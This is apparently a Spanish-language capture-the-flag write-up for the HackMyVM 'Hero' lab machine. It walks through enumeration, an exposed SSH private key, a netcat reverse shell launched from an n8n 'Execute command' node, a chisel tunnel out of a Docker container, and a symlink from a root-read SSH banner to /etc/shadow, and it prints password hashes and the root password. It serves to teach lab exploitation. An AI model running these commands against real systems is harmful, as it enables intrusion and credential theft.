cd ~/blog

~/writeups/hmv/012-hero.md

012 - Hero

medium Linux hmv 16-08-2025
SSH key disclosure (web)n8n workflow command executionDocker pivot (chisel)Symlink banner to /etc/shadow
hackmyvm.eu/machines/machine.php?vm=Hero

~1 min de lectura


Enumeración

Identificamos la IP de la máquina víctima:

 arp-scan --interface=wlo1 --localnet | grep PCS | awk '{print $1}'
10.214.65.125

Enumeramos puertos:

 sudo nmap -p- -sS --min-rate 5000 -n -Pn -oG 01-allPorts 10.214.65.125
[sudo] contraseña para wh01s17:
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-16 19:31 -0400
Nmap scan report for 10.214.65.125
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PORT     STATE SERVICE
80/tcp   open  http
5678/tcp open  rrac
MAC Address: 08:00:27:B9:FF:96 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 1.08 seconds
 nmap -sCV -p 80,5678 -oN 02-targeted.txt 10.214.65.125
Starting Nmap 7.97 ( https://nmap.org ) at 2025-08-16 19:32 -0400
Nmap scan report for 10.214.65.125
Host is up (0.00049s latency).

PORT     STATE SERVICE VERSION
80/tcp   open  http    nginx
|_http-title: Site doesn't have a title (text/html).
5678/tcp open  rrac?
| fingerprint-strings:
|   GetRequest:
|     HTTP/1.1 200 OK
|     Content-Type: text/html; charset=UTF-8
|     Content-Length: 1975
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <script type="module" crossorigin src="/assets/polyfills-DfOJfMlf.js"></script>
|     window.BASE_PATH = '/';
|     window.REST_ENDPOINT = 'rest';
|     <script src="/rest/sentry.js"></script>
...
1 service unrecognized despite returning data. ...

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.10 seconds

Clave SSH expuesta en la web

El puerto 80 expone directamente una id_rsa:

 curl http://10.214.65.125/
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=
-----END OPENSSH PRIVATE KEY-----

El bloque base64 de la clave incluye, al final, el comentario con el nombre de usuario. Lo decodificamos:

 echo 'b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwgAAAJAczctSHM3L
UgAAAAtzc2gtZWQyNTUxOQAAACComGN9cfmTL7x35hlgu2RO+QW3WwCmBLSF++ZOgi9uwg
AAAEAnYotUqBFoopjEVz9Sa9viQ8AhNVTx0K19TC7YQyfwAqiYY31x+ZMvvHfmGWC7ZE75
BbdbAKYEtIX75k6CL27CAAAACnNoYXdhQGhlcm8BAgM=' | base64 -d
...
shawa@hero
...

RCE vía n8n

El puerto 5678 corre n8n, una plataforma de automatización de workflows. Encontramos su registro y lo rellenamos para crear una cuenta:

Email: pwned@pwned.com
First Name: pwned
Last Name: pwned
Password: Pwned420
8+ characters, at least 1 number and 1 capital letter

Creamos un nuevo workflow, buscamos el nodo "Execute command" e ingresamos:

nc 10.214.65.50 1234 -e /bin/sh

Dejamos ncat a la escucha y pulsamos "Test step":

 ncat -nlvp 1234
Ncat: Version 7.97 ( https://nmap.org/ncat )
Ncat: Listening on [::]:1234
Ncat: Listening on 0.0.0.0:1234
Ncat: Connection from 10.214.65.125:39519.
whoami
node
id
uid=1000(node) gid=1000(node) groups=1000(node)

Pivote desde el contenedor Docker (chisel)

En la raíz encontramos el fichero .dockerenv, lo que indica que estamos dentro de un contenedor. Verificamos la IP:

ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

La IP del contenedor es 172.17.0.2/16, por lo que suponemos que la del host es 172.17.0.1. Escaneamos sus primeros 100 puertos con un pequeño script en bash (no hay nmap en el contenedor):

for port in $(seq 1 100); do timeout 0.1 nc -z 172.17.0.1 $port 2>/dev/null && echo "Puerto abierto: $port"; done
Puerto abierto: 22
Puerto abierto: 80

Hacemos remote forwarding con chisel para exponer el SSH del host (172.17.0.1:22) en nuestro localhost:2222:

 ./chisel server -p 5000 --reverse

./chisel client 10.214.65.50:5000 R:2222:172.17.0.1:22

Iniciamos la conexión SSH contra el túnel, usando la clave de shawa (el host es Alpine):

 ssh shawa@localhost -i id_rsa -p 2222
shawa was here.
Welcome to Alpine!

The Alpine Wiki contains a large amount of how-to guides and general
information about administrating Alpine systems.
See <https://wiki.alpinelinux.org/>.

You can setup the system with the command: setup-alpine

You may change this message by editing /etc/motd.

hero:~$

Obtenemos shell y la primera flag.

Listamos /opt y notamos el banner.txt:

hero:/opt$ ls -l
total 8
-rw-rw-rw-    1 root     root            16 Feb  6  2025 banner.txt
drwx--x--x    4 root     root          4096 Feb  6  2025 containerd

hero:/opt$ cat banner.txt
shawa was here.

El contenido de banner.txt (shawa was here.) coincide con el mensaje que SSH muestra al iniciar sesión, lo que indica que se lee y se imprime con privilegios de root durante el login. Lo reemplazamos por un enlace simbólico a /etc/shadow:

hero:/opt$ mv banner.txt banner.txt.bak
hero:/opt$ ln -s /etc/shadow banner.txt

hero:/opt$ ls -la
total 16
drw-rw-rwx    3 root     root          4096 Aug 17 00:55 .
drwxr-xr-x   21 root     root          4096 Feb  6  2025 ..
lrwxrwxrwx    1 shawa    shawa           11 Aug 17 00:55 banner.txt -> /etc/shadow
-rw-rw-rw-    1 root     root            16 Feb  6  2025 banner.txt.bak
drwx--x--x    4 root     root          4096 Feb  6  2025 containerd

Reiniciamos la conexión SSH y, en lugar del banner, recibimos el contenido de /etc/shadow (y una contraseña que parece dejada como pista):

 ssh shawa@localhost -i id_rsa -p 2222
#Imthepassthaty0uwant!
root:$6$WBuW3zyLro0fagui$gq9zWbt3gEpo26gkIjtgjYZqjCJtjJrJO9EHaWkglVZWwWhQiiSNmMGejRn.Q58Z9knsWP59OQqLPgt2NAWd80:20125:
...
shawa:$6$24FnSb8jAyKUSa4W$Z7fiPgCy1q8VTg6eF0tVe2cjlHfZEB.fswQyBWoZdY3PwV6VyckxP8OhskWf/Kgx881HhsT2uWvVPTGRpJ43T.:20125:0:99999:7:::
Welcome to Alpine!
...
hero:~$

La contraseña del inicio (#Imthepassthaty0uwant!) resulta ser la de root:

hero:~$ su root
Password: Imthepassthaty0uwant!
/home/shawa # whoami
root

Obtenemos la segunda flag.

Fin.

Machine rooted ✓

user & root flags capturados — redactados en el sitio público

// relacionados